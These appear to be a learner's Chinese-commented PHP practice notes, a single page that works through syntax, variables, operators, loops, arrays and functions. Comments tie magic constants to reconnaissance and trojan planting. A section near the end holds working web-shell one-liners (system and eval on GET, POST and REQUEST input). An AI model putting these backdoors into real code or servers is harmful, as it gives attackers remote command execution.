最终效果(部分):
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>我的第一个php页面</title>
</head>
<body>
<h1>我的第一个php页面</h1>
<hr>
<?php
echo "你好";
?>
<?php
// echo "你好"; 单行注释
/*
echo "你好"; 多行注释
*/
echo "Hello World!";
?>
<hr>
<!-- <p>这是html单行注释</p> -->
<?php
echo "计算7+8的结果是";
$x = 7;
$y = 8;
$z = $x + $y;
echo $z;
?>
<hr>
<?php
echo "这是一个字符串变量";
$text = "nihaoshijie";
echo $text,'<br>';
echo "长度是", strlen($text),'<br>';
echo "查找字符串,返回位数从0开始,为", strpos("Hello world!121455556664782","555");
?>
<?php
//移除变量
unset($text);
unset($x);
unset($y);
unset($z);
?>
<hr>
<?php
//嵌套获取变量值
$a = "b";
$b = 2;
echo $$a;
?>
<hr>
<?php
//变量间引用传值
$a = 999;
$b = &$a;//取a的地址赋值给b,执行后a与b指向同一个内存区域
$b = 888;
echo $a,$b;
?>
<hr>
<?php
//单双引号区别,双引号会经过解析,单引号会直接输出
echo "a变量是$a",'<br>';
echo 'a变量是$a';
unset($a);
unset($b);
?>
<hr>
<?php
//定义php常量
define('PI',3.14);
const PII = 3.1415926;
//定义特殊常量
define('-_-','smile');
//const -_- = 'smile'错误
?>
<?php
//使用常量
echo PI;
//特殊常量的使用
echo constant('-_-');
//echo -_-;错误
?>
<hr>
<?php
//系统常量
echo PHP_VERSION;
echo '<br>';
echo PHP_INT_SIZE;
echo '<br>';
echo PHP_INT_MAX;
?>
<hr>
<?php
//魔术常量,可用于信息收集,看路径特点,有无盘符区分服务器windos和linux系统,有针对进行攻击
//windox文件名不区分大小写,linux严格区分大小写
//FILE发现绝对路径可以配合其他手法写入木马
echo __FILE__;
echo '<br>';
echo __LINE__;
echo '<br>';
echo __LINE__;
?>
<hr>
<?php
$lll = 99;
//超全局变量
echo $GLOBALS["lll"];
?>
<hr>
<?php
//几个重要的服务器信息变量
echo $_SERVER["PHP_SELF"],'<br>';
echo $_SERVER["SERVER_NAME"],'<br>';
echo $_SERVER["HTTP_HOST"],'<br>';
echo $_SERVER["HTTP_REFERER"],'<br>'; //从那里跳转
echo $_SERVER["HTTP_USER_AGENT"],'<br>'; //浏览器信息
echo $_SERVER["SCRIPT_NAME"],'<br>';
echo '<br>';
//遍历输出
foreach($_SERVER as $x => $x_value){
echo $x," : ",$x_value,'<br>';
}
?>
<hr>
<?php
//各种运算符和书写与C++很相近,不做过多练习
$x = 10;
$y = 6;
echo "变量x是$x 变量y是$y",'<br>';
$z = $x % $y;
echo "x % y = $z",'<br>';
unset($z);
$z = $x * $y;
echo "x * y = $z";
unset($z);
?>
<hr>
<?php
//关闭警告提醒
error_reporting(0);
//关闭警告提醒的另一种方法,用@()套住语句
//数据类型转换,布尔型和C++一样,true为1,flase为0
//php语言字符串转换有自己的规则,以字母为开头的永远为0,以数字为开头的取到字符串为止(到第二个小数点截止)
$a = 'abcd1234.1.1';
$b = '1234.1.1abcd';
echo "变量a是$a,变量b是$b",'<br>';
//自动转换
echo "a + b = ",$a + $b,'<br>';
echo "PS:进行算数+运算前先自动转换成数值类型再计算,会产生包含非数字字符的警告提醒",'<br>';
//强制转换
echo "a转换为float值为:",(float)$a,'<br>',"b转换为float值为:",(float)$b,'<br>';
?>
<hr>
<?php
//判断数据类型,布尔型数据不能直接echo输出,要用var_dump输出
var_dump(is_int($a));
var_dump(is_string($b));
unset($a);
unset($b);
?>
<hr>
<?php
//比较运算符同样和C++十分相似着重记忆===和==的区别
//===是强等于,不仅数值相等类型也要相同
//==是弱等于,只需数值相同即可,php是弱类型语言
$x = 10;
$y = 10.0;
$z = 5;
$a = "5";
echo "x(整型):$x y(浮点型):$y z(整形):$z a(字符型):$a",'<br>';
echo "x == y的结果为:";
var_dump($x == $y);
echo '<br>',"z == a的结果为:";
var_dump($a == $z);
echo '<br>',"x === y的结果为:";
var_dump($x === $y);
echo '<br>',"z === a的结果为:";
var_dump($a === $z);
?>
<hr>
<?php
//逻辑运算符和C++相似,也有短路特性
var_dump($a > 5 && $z++);
echo $z,'<br>';
var_dump(!($x > 10) || $z++);
echo $z;
unset($a);
unset($z);
unset($x);
unset($y);
?>
<hr>
<?php
//连接运算符
$a = 'World';
$b = 666;
$x = $a . $b;
echo $x,'<br>';
$y = 'Hello';
$y .= $x;
echo $y;
unset($a);
unset($b);
unset($x);
unset($y);
?>
<hr>
<?php
//三目运算和C++也相似
$a = 10;
$b = $a >= 10 ? 100 : 0;
echo $b;
?>
<hr>
<?php
//自操作运算符和C++类似
$a = 0;
$b = 1;
echo "自操作执行前:","a:$a b:$b",'<br>';
echo "执行自操作:",$a++,++$b,'<br>';
echo "自操作执行后:",$a,$b;
?>
<hr>
<?php
//位运算符也和C++类似
$a = 11;
$b = 11111;
echo $a & $b,'<br>';
echo $a | $b,'<br>';
echo $a ^ $b,'<br>';
echo ~ $a,'<br>';
echo $a<<3,'<br>';
echo $a>>1,'<br>';
?>
<hr>
<?php
//if else分支结构,同样和C++神似
$a = 6;
if($a >= 1 && $a <= 5){
echo "今天上班";
}
elseif($a == 6 || $a == 7){
echo "今天不上班";
}
else{
echo "您输入的日期有误";
}
?>
<hr>
<?php
//switch分支结构
$a = 6;
switch ($a) {
case '1':
echo "今天周一";
break;
case '2':
echo "今天周二";
break;
case '3':
echo "今天周三";
break;
case '4':
echo "今天周四";
break;
case '5':
echo "今天周五";
break;
case '6':
echo "今天周六";
break;
case '7':
echo "今天周日";
break;
default:
echo "输入错误";
break;
}
?>
<hr>
<?php
//for循环结构
for($i = 1; $i <= 5; $i++){
echo "这是用for循环生成的第$i",'条数据<br>';
}
?>
<hr>
<?php
//while循环结构
while($i > 0){
$i--;
echo "这是while循环,现在i是$i",'<br>';
}
?>
<hr>
<?php
//do-while循环结构
do{
$i++;
echo "这是do里的语句,现在i是$i",'<br>';
}
while($i < 5);
?>
<hr>
<?php
//函数写法
function sum($x, $y){
return $x + $y;
}
echo sum(8, 9);
?>
<hr>
<?php
//数组用法
echo "数组练习",'<br>';
//定义数组
$cars = array("Volvo","BMW","Toyota");
//或者
$cars_2[0] = "111";
$cars_2[1] = "222";
$cars_2[3] = "333";
echo "直接输出:",$cars,'<br>';
echo "输出第0个:",$cars[0],'<br>';
echo "输出全部:",var_dump($cars),'<br>';
echo "输出数组长度:",count($cars),'<br>';
//遍历输出
for($i = 0; $i < count($cars); $i++){
echo $cars[$i],'<br>';
}
?>
<hr>
<?php
//关联数组
echo "关联数组练习",'<br>';
//定义数组
$id = array("Peter"=>"101","Ben"=>"102","Joe"=>"103");
//或者
$id_2["Peter"] = "111";
$id_2["Ben"] = "222";
//输出
echo $id_2["Peter"],'<br>';
echo var_dump($id_2),'<br>';
//遍历输出关联数组
foreach($id as $x => $x_value){
echo $x,'_',$x_value,'<br>';
}
?>
<hr>
<?php
//数组排序
//升序排序,降序用rsort()
$nums = array(1,5,48,5,42,36,5,22,43);
for($i = 0; $i < count($nums); $i++){
echo $nums[$i],',';
}
sort($nums);
echo '<br>';
for($i = 0; $i < count($nums); $i++){
echo $nums[$i],',';
}
//关联数组排序
//asort()根据值排序,降序为arsort()
//ksort()根据键排序,降序为krsort()
arsort($id);
echo '<br>';
foreach($id as $x => $x_value){
echo $x,'_',$x_value,'<br>';
}
?>
<hr>
<?php
//可变函数
function display(){
//FUNCTION魔术常量可用来辅助进行黑盒测试
echo __LINE__, '<br>', __FUNCTION__;
}
$func = 'display';
$func();
echo '<br>';
//和C++类比可以自定义一些规则,比如C++中sort()可以自定义排序规则
function sys_function($a, $b){
//相当于user_function(10)
return $a($b);
}
function user_function($x){
return $x * $x * $x;
}
echo sys_function('user_function', 10);
//匿名函数
$hao = function(){
echo '<br>',"你好";
};
$hao();
?>
<hr>
<?php
//常见函数,两个涉及安全的函数eval()和system()
$a = "123+";
$b = "456";
echo eval("return $a$b;"),'<br>';
system("ipconfig");
?>
<hr>
<?php
//后门木马
//用get方式执行system(),URL后接?aaa=dir即可查看出系统目录whoami查看权限
system($_GET['aaa']);
//经典一句话木马
eval($_GET['bbb']);
eval($_POST['ccc']);
//万用接受一句话木马
eval($_REQUEST['ddd']);
?>
<hr>
<?php
//class用法
class test {
function _print() {
echo "class name is ", __CLASS__, '<br>';
echo "function name is ", __FUNCTION__, '<br>';
}
}
$t = new test();
$t -> _print();
?>
</body>
</html>